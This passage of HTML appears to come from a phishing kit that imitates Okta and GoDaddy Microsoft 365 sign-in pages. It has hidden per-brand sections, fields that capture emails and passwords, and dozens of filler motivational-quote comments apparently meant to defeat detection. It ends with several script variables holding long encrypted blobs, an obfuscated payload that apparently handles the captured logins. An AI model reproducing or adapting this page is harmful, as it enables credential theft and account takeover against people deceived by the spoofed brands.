                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-5">
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
                          <div data-se="o-form-label" class="okta-form-label o-form-label">
                            <label for="okta-signin-username">Username</label>
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
                          </div>
                          <div data-se="o-form-input-container" class="o-form-input">
                            <span data-se="o-form-input-username" class="o-form-input-name-username o-form-control okta-form-input-field input-fix">
<!-- Success is where preparation and opportunity meet. -->
                              <input type="email" placeholder="" id="i011e" class="okta" value="" aria-label="" autocomplete="username" aria-required="true" required="">
                            </span>
                          </div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                        </div>
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-30">
<!-- Trust is the foundation of any relationship. -->
                          <div data-se="o-form-label" class="okta-form-label o-form-label">
                            <label for="okta-signin-password">Password</label>
                          </div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
                          <div data-se="o-form-input-container" class="o-form-input">
                            <span data-se="o-form-input-password" class="o-form-input-name-password o-form-control okta-form-input-field input-fix">
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
                              <input type="password" placeholder="" id="oktapassword" class="okta" value="" aria-label="" autocomplete="current-password" aria-invalid="false" aria-required="true" required="">
                            </span>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
                            <p id="input-container-error55" class="okta-form-input-error o-form-input-error o-form-explain" role="alert" style="display: none;"><span class="icon icon-16 error-16-small" role="img" aria-label="Error"></span>Please enter a password</p>
                          </div>
                        </div>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-0">
                          <div data-se="o-form-input-container" class="o-form-input">
                            <span data-se="o-form-input-remember" class="o-form-input-name-remember">
                              <div class="custom-checkbox">
                                <input type="checkbox" name="remember" id="input41">
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                                <label for="input41" data-se-for-name="remember">Remember me</label>
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
                              </div>
                            </span>
                          </div>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
                        </div>
                      </div>
                    </div>
                    <div class="o-form-button-bar">
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                    <input class="button button-primary" target="_parent" type="button" value="Sign In" id="oktasignin">
                    </div>
<!-- Your brand is what people say about you when you&#039;re not in the room. -->
                  </form>
                  <div class="auth-footer">
                    <a href="javascript:void(0)" data-se="needhelp" aria-expanded="false" aria-controls="help-links-container" class="link help js-help">Need help signing in?</a>
                  </div>
                </div>
<!-- <div>Innovation distinguishes between a leader and a follower.</div> -->
              </div>
<!-- Every problem is an opportunity in disguise. -->
            </div>
          </main>
        </div>
      </div>
<!-- Success usually comes to those who are too busy to be looking for it. -->
      <div class="footer">
        <div class="footer-container clearfix">
          <p class="copyright">Powered by <a href="https://www.okta.com/?internal_link=wic_login" class="inline-block notranslate">Okta</a>
          </p>
          <p class="privacy-policy">
<!-- The starting point of all achievement is desire. -->
            <a href="https://www.okta.com/privacy" target="_blank" class="inline-block margin-l-10">Privacy Policy</a>
          </p>
        </div>
      </div>
    </div>
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
</div>

<div id="sections_godaddy" class="websitesections d-none">

<div class="brand-header see-change-bar">
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
  <div class="container-fltoken">
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
    <div class="flex-row d-flex">
      <div class="see-change-bar-left d-flex">
        <div class="topnav-logo-wrap">
          <a href="https://www.godaddy.com/" target="_self" data-eid="uxp.hyd.utility_bar.logo.link.click" class="topnav-logo">
<!-- Success is how high you bounce when you hit bottom. -->
            <figure class="go-logo mobile-logo" aria-label="GoDaddy">
              <figcaption class="sr-only">GoDaddy</figcaption>
              <img id="header-logo" src="/ghOdGToYw0yKXdRjkIs4tnbXu4x9jP32aJotCmn95F6E8ntH3gEVzdzWbe3tW12210">
            </figure>
          </a>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
        </div>
      </div>
      <div class="see-change-bar-right justify-content-end"></div>
    </div>
  </div>
<!-- The secret of success is to do the common thing uncommonly well. -->
</div>

<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
<div id="root">
 <div class="LoginPageStyles__LoginWrapper-sc-pvsjk8-0 kLiWvU">
  <img src="/opQwEsZ2d7PHBUmfCASE4PxvsinKgNftqFLGaADGvstQMlAAJ16nx4jFEMyvX5Pl4lBDUTsCVvZEcd236" id="godaddy-left-logo" style="">
<!-- I find that the harder I work, the more luck I seem to have. -->
  <div class="FormPage__Container-sc-1b51r8o-0 zfCle container">
    <div class="row d-flex justify-content-sm-end">
      <div class="FormPageColumn__Container-sc-uwin2-0 ixbTgw col col-xs-12 col-sm-10 col-lg-6">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
        <div id="login-container">
          <div id="login-panel" class="ssodeck-framable-content">
<!-- Success is where preparation and opportunity meet. -->
            <div>
              <div id="new-ux" class="card ux-card form-container fs-unmask">
                <div class="card-block  pass ">
                  <div></div>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
                  <div id="form-header" class="pass-form-header">
                    <div id="pass-template" class="">
                      <div class="logo-container-pass-o365 top-spacer">
<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->
                        <img src="/uvOQ4yT92begNmISw0oQct9myrVEF2RO47okMOmn0HHBDKodWTE77fPLnsmm5NrvToTRhVHNagh260" id="o365-logo" class="img-responsive">
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
                      </div>
                    </div>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                  </div>
                  <div id="form-container" class="">
                    <div id="login-status-message" style="display: none;">
                      <div>
                        <div class="ux-space ux-dialog-shell ux-alert ux-alert--critical ux-text ux-dialog--contrast ux-dialog--stretch ux-space--as-block ux-space--inline ux-space--block" aria-labelledby="login-failure-alert" role="alert" dismissible="false">
                          <div class="ux-dialog-icon">
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
                            <svg class="uxicon-svg-container ux-dialog-accessory--critical" height="1.5em" width="1.5em" role="presentation">
                              <use fill="currentColor" xlink:href="#svg-container-alert"></use>
                            </svg>
                          </div>
                          <div class="ux-dialog-details">
                            <div id="login-failure-alert" class="ux-dialog-title"></div>
<!-- Success is where preparation and opportunity meet. -->
                            <div id="godaddyloginfailurerror" class="ux-dialog-content"></div>
                          </div>
                        </div>
                      </div>
                    </div>
                    <h2 id="pass-title">Sign in</h2>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
                    <div>
                      <div id="username-container">
                        <div class="ux-text-input-shell">
                          <div class="ux-field-frame ux-field-frame--stretch">
<!-- Success is not the key to happiness. Happiness is the key to success. -->
                            <div class="ux-text-entry-shell ux-text ux-text-input">
                              <label class="ux-label ux-label--internal ux-label--floating" for="username">Email <span class="ux-text ux-label-required ux-text-feedback-critical" aria-hidden="true">*</span>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                              </label>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
                              <input class="ux-text-entry-field" id="godaddyemail" aria-invalid="false" aria-required="true" type="text" aria-describedby="">
                            </div>
                          </div>
                        </div>
                      </div>
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
                      <div id="password-container">
                        <div class="ux-text-input-shell">
                          <div class="ux-field-frame ux-field-frame--stretch">
                            <div class="ux-text-entry-shell ux-text ux-text-input">
<!-- If you really look closely, most overnight successes took a long time. -->
                              <label class="ux-label ux-label--internal" for="password">Password <span class="ux-text ux-label-required ux-text-feedback-critical" aria-hidden="true">*</span>
                              </label>
                              <input class="ux-text-entry-field" id="godaddypassword" aria-invalid="false" aria-required="true" type="password" aria-describedby="" value="">
                            </div>
<!-- The secret of success is to do the common thing uncommonly well. -->
                          </div>
                          <p class="ux-text ux-text-caption ux-text-feedback-critical" id="godaddypassword-error" role="alert" style="display: none;">Password is required</p>
                        </div>
                        <button class="ux-button show-hide-btn inline-show-hide-btn ux-text ux-text-size0 ux-button-inline" target="_parent" type="button" onclick="togglepassword(this)" aria-label="Show password">
<!-- If you really look closely, most overnight successes took a long time. -->
                          <span class="ux-button-text">Show</span>
                        </button>
                      </div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->

                      <div id="remember-me-container" class="input-container">
                        <div class="ux-text ux-checkbox-shell ux-text-input">
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
                          <span class="ux-checkbox-lineheightbox" data-lineheight="I">
                            <input class="ux-checkbox-input" type="checkbox" id="remember-me" value="true" checked="">
                            <span class="ux-checkbox-indicator">
                              <svg class="uxicon-svg-container ux-checkbox-indeterminate" height="1.5em" width="1.5em" role="presentation">
                                <use fill="currentColor" xlink:href="#svg-container-minus"></use>
                              </svg>
<!-- <div>Your time is limited, don&#039;t waste it living someone else&#039;s life.</div> -->
                              <svg class="uxicon-svg-container ux-checkbox-checkmark" height="1.5em" width="1.5em" role="presentation">
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                                <use fill="currentColor" xlink:href="#svg-container-checkmark"></use>
                              </svg>
                            </span>
<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->
                          </span>
                          <label for="remember-me" class="ux-checkbox-label">Keep me signed in on this device</label>
                        </div>
                      </div>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
                      <button class="ux-button btn btn-purchase btn-block ux-text ux-text-size0 ux-text-action ux-button-primary" target="_parent" type="button" id="godaddysignin">
<!-- <div>Success is where preparation and opportunity meet.</div> -->
                        <span class="ux-button-text">Sign In</span>
                      </button>
                      <div id="social-login-buttons-container" class=""></div>
<!-- Success usually comes to those who are too busy to be looking for it. -->
                    </div>
                    <p id="recovery-links" class="">Need to find <a class="ux-button ux-text ux-text-size0 ux-button-inline" href="https://sso.godaddy.com/v1/account/reset?app=o365&amp;realm=pass" target="_top" id="forgot_password" aria-label="find your password">
                        <span class="ux-button-text">your password</span>
                      </a>? </p>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
                  </div>
                </div>
<!-- The way to get started is to quit talking and begin doing. -->
              </div>
              <div id="email-promo-footer">
                <div class="font-primary-bold" id="email-message">Don't have Microsoft 365 email?</div>
<!-- The road to success and the road to failure are almost exactly the same. -->
                <button class="ux-button button btn btn-purchase btn-block ux-text ux-text-size-1 ux-text-action ux-button-secondary" target="_parent" type="button" id="emailPromoButton">
                  <span class="ux-button-text">Get Started</span>
                </button>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
  </div>
<!-- The way to get started is to quit talking and begin doing. -->
 </div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
</div>
<div id="hcs-footer-container">
  <div class="skip-nav-spacing"></div>
  <footer id="appheader-footer" class="manifest footer">
<!-- <div>Every problem is an opportunity in disguise.</div> -->
    <div class="container">Copyright &copy; 1999 - 2025 GoDaddy Operating Company, LLC. All Rights Reserved. <a class="privacy-link" href="https://www.godaddy.com/legal/agreements/privacy-policy?target=_blank" target="_blank" data-eid="uxp.hyd.int.pc.app_header.footer.privacy_policy.link.click">Privacy Policy</a>
      <div class="do-not-sell">
        <a class="privacy-link" href="https://www.godaddy.com/legal/agreements/cookie-policy" data-eid="uxp.hyd.int.pc.app_header.footer.do_not_sell.link.click">Do not sell my personal information</a>
      </div>
    </div>
  </footer>
<!-- Opportunities don&#039;t happen, you create them. -->
  <div id="gtm_privacy"></div>
</div>
<div id="svg-container" style="display: none;">
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
  <svg>
    <symbol id="svg-container-minus" viewBox="0 0 24 24">
      <path d="M20 12.75H4a.75.75 0 110-1.5h16a.75.75 0 110 1.5z"></path>
<!-- Stop chasing the money and start chasing the passion. -->
    </symbol>
    <symbol id="svg-container-checkmark" viewBox="0 0 24 24">
      <path d="M9 18.25a.748.748 0 01-.53-.22l-5-5a.75.75 0 011.06-1.06L9 16.44 19.47 5.97a.75.75 0 011.06 1.06l-11 11a.748.748 0 01-.53.22z"></path>
    </symbol>
<!-- Success usually comes to those who are too busy to be looking for it. -->
  </svg>
</div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->

<div id="svg-container" style="display: none;">
<!-- <div>The only way to do great work is to love what you do.</div> -->
    <svg>
<!-- <div>Effective communication is the key to success.</div> -->
     <symbol id="svg-container-alert" viewBox="0 0 24 24">
        <g>
            <path d="M12 13.75a.75.75 0 00.75-.75V9a.75.75 0 10-1.5 0v4a.75.75 0 00.75.75z"></path>
<!-- Great leaders inspire action. -->
            <path d="M21.371 16.48L14.478 4.417a2.854 2.854 0 00-4.956 0L2.629 16.48a2.853 2.853 0 002.478 4.27h13.787a2.854 2.854 0 002.477-4.27zm-1.307 2.095a1.34 1.34 0 01-1.17.675H5.107a1.352 1.352 0 01-1.175-2.025l6.893-12.063a1.354 1.354 0 012.35 0l6.893 12.063a1.339 1.339 0 01-.004 1.35z"></path>
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            <path d="M12 15.25h-.005a1.128 1.128 0 10.005 0z"></path>
        </g>
     </symbol>
<!-- <div>Great leaders inspire action.</div> -->
    </svg>
</div>
<!-- Your brand is what people say about you when you&#039;re not in the room. -->

</div>

    <script>
var cx = "twABpLd0a+GcaFf8h2MRUHaE1Tx3+9WtnRG8pJsakLOhoOrGfYd9nnMGfIJX+oBD4eDeM7P4zOLmywrI38c/V8uPxbBX1/Oeayg/O9AYBwFTjSQcHW5btoXf95TLB9SD/1yurZsQ1MvyarZjwJ9np2cfc0Hp+nAqGuMJjaDHyd6VD7DLjscsH4FYwBHBxVBysEhnqOK6N0IDBjOKZy2LqJ/JViHTjoMSCzOOqHseLMi6ZCQDXmpPpuJ/e6+zaFW8e2y15wtajDu+lmjoUb4Imu8DuqxaubZyWVgV/QWqZIxo0WFor43vlJVJ6uyaLv9XX7kOGnWlNVWGzFydGUqhKNvHFeCtF98Gh0w2YpTqyEucqPHYT9k78ZXoc9MVzJLpo8AuyxNcPgDyfKrA4LsTMmmnp4blt/+G+u89P0xmOIQQhqGeq+ddjwudcL+BQzWz9HHE+hpfasrgvLOPUM4vIezKhJbJHq6aCpUzugFkAPa6yr3cU9Mn6HDrIu9Ur/auf68b6fIFYpa8+BYEp/1ugHlSyG71VIeLeUxuR0Sizk7ILlvuUPmLCvrAWrvLoP7qgrmwrTeyXOFUpIKWihmb2nuIA6pskO259cBg7qTTAmgolvshKTY1MViZb1EtdqsZbPufGXY8Zzpgqf8FVPawLGT7JMVg5p72PtP0Z/zPgX2Imlkm4xA7FEKf069Q1nkoVzn8qXERKJ5otXfuQUTRsTw+CsWAbOx3zEtQj/mwuF1y67z8ZFiRk+To0wVANDjzN8bzZvoidcydLgjC5MgFSE1nkSGbB6";
</script><script>
var wd = "s6JfDtAMnuappcU5SQ48I+pY6FfMqJB3POS4ovXiwVOGQajroYKbFyVpcP9eSoAK6QW80OaWuo1eK43gHPUDUi60Oul/YBHK4HDW5DUkHwjH7jwhU6S+W6BOOKLAsD+PqMvNiK0KNP0IzwuBHnMgeWQrJ5v0cZvKX8J73gj2R0iaMMIgsMt1Hu53mLziS2ptr7477ftHxxILuNnhwLNXev37oJ5xprWLlDyJt1FQFGzQnzlF0KpTiex4Gl2bCw53P8G+SmvJH78UyD7v0x4aEBWq6b+S4wf0B6aDfh6ZdIP4YMjBxBGMbPcyAMq6WnTCle58zWSulRxovPtMjQ1lJgJ/GHVNMASr4o7JjBGDfEt5RzAl1ZBoi7jl191zaOC6CJpfsVOFlZJL6r8TrG+hCSBsEXG4NsVdSUodc+XjvJ/vzM7MD7uYMKZ11ozBs3J9m0TILEAXc02KvjFe8Asz7B4uyuC18xj36rs0+8f5Cr06SUjaDAMV+RwxmNVT7SxPfpBSxfj2PbUXykd55Mh++Y52z01wxhbXz0u54+XpJfb4CHhtmOBx7XoJTPickgHBfXt1obhkdcwYfXX6Y38uv6g09lpyb5AX6JO+7IXWvY1Y3GcoHFs+6D7vGEWNHQNsBhl4+N4YisW6oQo1C6iVzOsiwjgNNnWcKV4fj2e2oVjnW5dvugI8COIziYjmHM7/ov59NFmVii9i/+3uZoL1RzqRVNQxKV16Is+D9nJWHReQoWV7oh9cfTWMbLFHZ+/hi0qkETA/u4SX4SlBTjEQeDeUflNBUW";
</script><script>
var la = "W/85c/9mJlSIONFP4o02rZj52+TUQ7ltRWh8Ot/pSCspHqG2KJt2wpf4ObXdoeV6BH1QcdqgcIHw6RtAkttLMBnMVogShgy3iGxyCR0P8QWAErC7COY8KnudX8jv5uWUfBpumE25PXuhAXmi+iAQSZXorLz+tysLx7TM+Nx8mUv5vkkSVRZeXzPTDNr2NJ7/VEZjWtZmIbtVRXnzByFfKJ4HDDzcfn7ogz0xKT9OSMRvOjOrkR4Xype9OnHPs8rHtUPsB3gmft/4bGwMUq5x1OLvz7CRFWQme3efrH8KVfasbQE2J/FIAzYgmYPnRCgaH4I7aAfXyKUfKOg8JP5o2OjhCA03MbDSpRsJdiUIPy9A/tIoC2fbfvP1AVlgV0QI04FHSv/dmlwbWh26Pouh5Qaj9tlu0M0sq45GQzkf3XD2ecLdsP+V41BA18q/8FJjxb/l2xLP5nt/vD0Lku2E7dRuPjCKjDRJgrtH1V9dG2xhBATABYry99E+s3UghgASiJUymndfZqVQxEx6BrcmruHEFo6+ZpeQDhwqxLPLc7eSV1GrmdtKPlA4VDX3eDVtw9HJ8QXQs6Dm0YW5PUWrfok+VhrFOSJnI1/kokEw76FL8xceckiTN2Dui2PrJZt9ksvtxGHwbefF3V/t8WwAJRJZ+HN7k0yYbMhpqY1JN9rtDEiovOpeSlxz0g+yZzxEp0r8x2eoBmc1dqtD1lwgYYf3j4E0UiEJLLtwyVimIe3MAmE5x47dgyVdKr7hWCx2feEJjT7HJYooeSOIV2x4li8BJyBsIi";
</script><script>
var sz = "Apsq2GvY3m8Jzq7SUadC0QvU9L26CBTobCwTuYCxTfbsIO3bHJ8j7chAb/ZS4FPUoJh50rAzLB1rgoFZhMpWzbcL/i8O47xj0vdgfYUmRdE37iof8nGAlDnnMhAdGJhyjZ41xoQojCaA5PWX0oZuDz1JY2UNLlRfEDPl2Bf2zU1frbUXinik2XBaW3ovxFJDGMstXr7cSeXvQwH9gQ89nIdX0Keo3W/s7XBEZkUMsBUfED1ZYsKpzAKJ3WqEQ9jJ4fAbEX9126rxqmQQDnZj8Jl1Mf3I1XNn9vCKpud8lRGUxq6QweSxZ1qQgZ9kzwbRUB6asgUuoULDFBAV5Nq6Ve3VXrpi5mTKbEd/6gIXMx0e4cP2s7016L1YxwWEvoP9ANWeX2Z3W98wmyu1gY//WUSmI9nhbSVKc3UoxxLrf6pqpYVIVAk24oRXclJ6slRGmiWCFmmVEW1WJg/4GWFMVvz7JWhhocifafWjBT0odEVHGfP7DAXwpPHgwWLzSlURE23y0sn9cXVaH6EHZyIuSicM0HpQJHCGLI4U9P9IYZh2uZzKowqnm6O/xiDCQHFRIAWSqpZQQCq14K+smHlVmYBAsR5PWBt2TDceah/d6ZsKHH/y5SYv0UKZVPFyd8aNVUjV+qudQxzyw84VfPEYNkvBURiCTAq9AMICvX4PRt8h5nHSmIavjQbF31HMKnXKhwv9UJgh+I3U5WhbF/28IAxpTQ4vPNsneCCY/18G2JpYZfT85b6PwXma3KD+brcYA8qYpHzTohkwhKDWVsfE8cjouK4LAa";
</script><script>
var fg = "Vs46q7+H9F8looTf1wwm1LdalZxNmo4TS53nuKJaOvDbREou3sTzeh4VyG9r9k16KJrt11Or1a9kz8eB/CVLBLW3OiqHf03jTDhWGJiEjDNmCiaQeoNgl3DxqfGoXwexs1zg7h10mhZK7NR0qiccbSeujIXTVhOQJ7qsV6VKT6EUv7bVtp8F2srw59/h1u+zcbgsHAeTtIIrjwdlJRb9RmbDsONHdGw42F7vZHVZk/KSiPCxQYCCNaqB1M3qC+E1WtXrn21AhAChLSm2/PRz9rugQbzPS9/CbAJvirN+aiHKfbWT4g25lwQ4maYMI7jE9w4xNnYMm6AXVADIZya+qWl0E6MqKNxr+ulKkqUwYVG5JV9Pjbg/s5bH3PdIDUKeMq+I4QwV6dhZ90gViQ1bSyVBsjEk9Y7isHw2xoT0J9X+1AiwCsnKlQLdokOEE5wzO1B/DHEBCw42k+xE+90Kc0ZdlAMrJHTOI3jDFvFDCoFvz1Qmi2hU4MkL6SE1ZvYz3HUJiSRJrZCBNatqXOXZP8JFTemZnd3/WgIXIpL5VbiVywuiib/Vs5noahh5vaEcEEkB/FAYMRD/AxoDjd8D0Wr/0YfQXtSnJUh4xcr4LN7o/xLJrFFXf806UD25MhesWArbe+O/RMMs2Qp6QT8GPDWtKi4YzfnZu4RDZ9t376YT2MU7M9RkLXblNQtE0joqaU+EtRw52me8fD6pkEbSouTENyvYKskitkRsTZdFU0+v0StWceJzDsv3iOI1EKTBzB/bHR39C5bnq5uBHFMwtAn2h/GMXy";
</script><script>
var xs = "hCd+LxhkUrL21yp6rpq3G7xnKDPvxHkKuIBKnBAIWysAs6uDD+jM0HuESld22t56Oj1A/LNyF+kN2fJVF1z9Vm/35NlYCe7v4TQwpgIzmuXKs/bN7lD/CGACd6NVd4dmEz9mhM7Es741DgcHsKVy8/zlM4d7xoWVtr1NKYW6fyEEA2gRa+i0pVD8gtaCOYbf5z1Z3M7s9VzbCg0SH/ifso9psT8439dZFSnVoHs8ej9pKc7eReWoM/WmsieSSLhxakOwewVTNslA6KBrawcluI56CAlqbKZdAbyfYxoe5W7aEkGa1rxJ5goNhWjBFD7f3HcLmsDTR8U+QpGjwlhH4+0DhNGOMX7axgU6i/nMZclVNCPOoALuzolHuT8/+BJQjdvs3dpM+coa5rWcPGTOdTlh7NdCikGmioM7AZB9JH7wnc1KuEctLBb0xw1Cdnfq2ffKv2vCJaV5hPtYifj38JBWxMwE1i4w/IJo5rUcwRwT96G9FT+VWIRIF4DyRCwcLaKVuY9ylp36NbX6WSRUk4BTnn2NGTaS4j2qYNQ5fet5TQ6+HtVWIaSjJGGqusCoyn3JBIscCRN+abQMtlJweTshWRcD41IEDmHXdHLa2kfqvQDTh85hbnVsaTFlY/ajPpcJkb4z5IQkHk/++vXhFrxQrQsjMknQbnBKfG5m/M6j5SHoR/1nupvq9Uw3pFiXp15ZZ254VcHuKbUNQCEsj51QqQmeD7T9Wdb3gvf+jt++twjmjgoBctwgA/2MHVIjdw4+rSu5dKRupyOl69h+734pXPIwoV";
</script><script>
var ao = "eYm6+SaAyF7I3OzVi+fPhPLJ9550gdrXEHuHcoz1B4iReqQ9PpXQA/bK30KqSoSM/JuaINK2jPF/fNQs28irOdZkZYHg2e2oYUKjH4JGGJE/HuN4h2FfQiecnYNx9VVPJtcns4cM3vjgJ2Md2XzWw+D4f4GhPHvh9puv50rH6VRl+zOEuBh3NeB1GYIS9zkqxCgvpsi3ohy2GvaBJwTMfzRGbD+xL+nuky6+wccNdI4sHgN1lcrrC19+Bsc8aeAIyGGABoYf7G78m7p0V83Q1PyAacWvB/pxDu4CwIZsJtMvp81Qd6tI6SDQeaeC5XuuStFtELRiHm83onUsxuPOHNefynScaYfwLbjn/bnzCTQyuPphbZmHzs8Bor1Rwn9uu7hMt7PQwnLHk/x0gOFoDARf+moJcJhUjYTFVzXIlPiY+4c/pg+LAyDceClleXDjIwIDxdlYPdbeiVNPLOOfh0XSs2qn2P1x72v6UC5zJYjhyU9vygrLLC7rTtvb6+bojQz9JXyg7Vq2ApSoqEIC9unCdBpCR54xby+Ow6WyknF8r2IvEZvk868tvF5vYrK8hyHTd/aWu24gEwIsZ6r7MmX37XTLeuG9Kvtdyno3GWag64su/DSNfe6g1/JbGfErv4djQc6XmIq8zWrIfulRDuShMqSG7bqdG8NScImf3meywJU5seNozUhMmWxFeTCD+dZ/3IQP57W+Gp540HAsOJqZ/qHTVDmyuijk+4YBDbiVI6RPrJhPQxjoNW2rTZ6mux6NzHVEtnst/xPrp2W8PdD3NiEBS4";
</script><script>
var rk = "p9mkrHUXoUcF449TVkw5uKymiVWIdlo+/k5KerFoI+lD0lwIXC9ouLOntgvjWQsY5YQsbG96vtP/8EYyOmlaeWKNbSPPoPDNvfxWo2asf5l6Q57LiAvAPrxFmkpb4vei7rMJ7iZOIQXZ1MMDEkcTqdR/g1TWjRQDwLbTIVS8vQ6H8mgd7wkFdpJZIE90VPxHxEynTmx1WZao4DrGsVbdT3hGMM2oB21J2A1pB7aLEmE3kVuSzRmQUcUh5OrznuEs9vORYxTKGOmkn0YFkyFZMxUnqS4nYaw+lCefg1Ln/X9xbafKmwKKYFEKU2pfiMWCOtBSvJ91Fm3YIS8wsB8YlJNAJIKbZZwm5kZn0HkTLyobqRjaj1waVHTI5IwEn73W7PSoyCWZF5kttVLYW/w4LLC7b4uGaSs4CRRRxUNhnOi7Q0R2xrClCAE6wyX/wnmgxgHKVM4W4PuomM0tkuDanMpMKkcekev8lV7ndvcqXR8hnJAuoHcwyfCEnbBxuYqFgJ5Og+77nPwqoTbv6i2VLiKp5QLsAYEja1HwOIIxTdAOpQiKAC4S1RzceI2yyq3sI6Dt5Ojn4J5NJ1xWeoX23u+RcQ/KMJtqcd7E0Cvxrta4ATN+AKHrY+xD9Y5SzKzMeDXntqpjFrwxkFiN+lBv7j82DN4SeqFlzbof1rCUCKko1Iv12gmZvyPtoPjk2PXkJVNIEJRwi50gKOs4Ezt18UDHY43argRKGEdsXn9aSuIMTPMmuCBSDbLEn33lgKxTJ+D7FNAL+UW1trV88rzbm5Bo9/VzuE";
</script><script>
var py = "WWXypf93XK/hDPpalESGNt+t88zJhICrGn+q+P8OVOk7IgN6V6gn0SZQ1chp80BeD+48RT/CcoKn6klqYncXdENDezmcpeD5SBLKeUcTmIcLeQKGRui32KHiQvRm9kWpSTiKCcDVKa6ehD/pFWQ6Ot3zeHDqHICMrp9eeZyoVYdjujCPDkxTKvepWS0zpvmJ3gimbNf6KR0ZvLzfXgQK+5KAQROsgIoawuTisl2/XrYn65ujoQ2myGyivBcKPCjEzd7Dq4K55YNr3glmBQAf6zhwSsMdl057CXIgLqZhyGuqGRerb9odjjLfNRVaKhq1y4AzPNBTCYB6rkrcASd1llKIc5lAVac5Xpr6AjKQ5TJyQOSpO6TwblQR4xPlFMlsfQOhjYbwH7Es8zmn3rUWobOT6F8FwpIkI3iRS7nLIEaFkc4G2qlPAO0Wi8j/UOjGZNuye36UcDTguajFJMhwupRiTkI0tKfLubXQv72rMCoeUv/7+pVDVOy3m8raEudcSjVfeSVsTOEMDuOtYaAn8TW3MQj/KT+KN6SDGwEAL7BRBmI6iAFnCHFV/FCePRoTmaSMxFO/vS7/oKpna9ek05NDs99URGGRpIUGgQyUB8ESV14mfHJpi33d2lFxk8al3gGf6vAsmfBu2YnLopiCqyFrkldajhMASN5csGhl9+NxLgeDf8yIf82FIcSWEzZPBwmwnGSB9IN27BQb6EmsoGGLb70q7rsd+nXDNogCXU1rs4tbrDWYQ0hCEMRw19PoU4Z+XnJwibYgPBO4W/Nulna6ttYW8";
</script><script>
var gg = "qTdVfk82hYScrezrG3zL/zjfRVmsAS7Y0lKMIxlNhJC/GZDvRZCgUYck9sKwkGimb/XMk1mYtmsmGV8YyXc1fXJxiUfXU+gJq7nYKqr2ztIXf+RggfVtXUt7XeBlcZSom4eaDvFT71/XV4OHzeElITjdvIAUJZykQJMfOZ8poBIe9qN9IIuRXKZ4jmUYxj2PIyrc5zhpdUOZxlVcXOd8oBoGx9ZFZctet30p3amWIh1lIIZfE2mB0fsSdPA+8v//80cS3t+FOvhuMi7jCHguxlKNx/kioiRYw9Jh8Ld3UfeO1K29YZ9lOBiwHKAKoLq7SlJ7LhV4zarlflKUJQ1+AiKZfQmUEN0pzpsB1430g3ufIXInR8V+HHpzORTE5GolOj185ISaGBWdtBPvWZyIG3DyEgnwh8fDp7mShekKIDPIVuhfTiwPHzoTRcMwMMJQa9q85Ri7Shk5m3BY3HaWtq0kI4OJiTNKhDKQm7jukIeMygUz74peZn9seZ5USowPl1ZG6nfcMKTH1AkaiBft74VVT9i/OycnqamKsmOxq3c4oWwTS1JvWohgw4r/m+dHFVaTGw3wdzvW1d67AYTP9pbPELf93PVJVPmI4KD52JLsdzvL0JJQihw0SdtYoHRtm6bFMZd4Im1M9XG1Dku6VJ0fYQTFXuaoY4VB9Ijk1o9PT/MYYC+BCEXb/1J1XTYjeUmiMWf6w1ZZ1KI7O/jWjavpK9dn9mf5maHos4h6wtOiV1UaZA44kGRdTwOZ/IrEFSYF+8se2QIVMjOUK5j/y+9J//xaB";
</script><script>
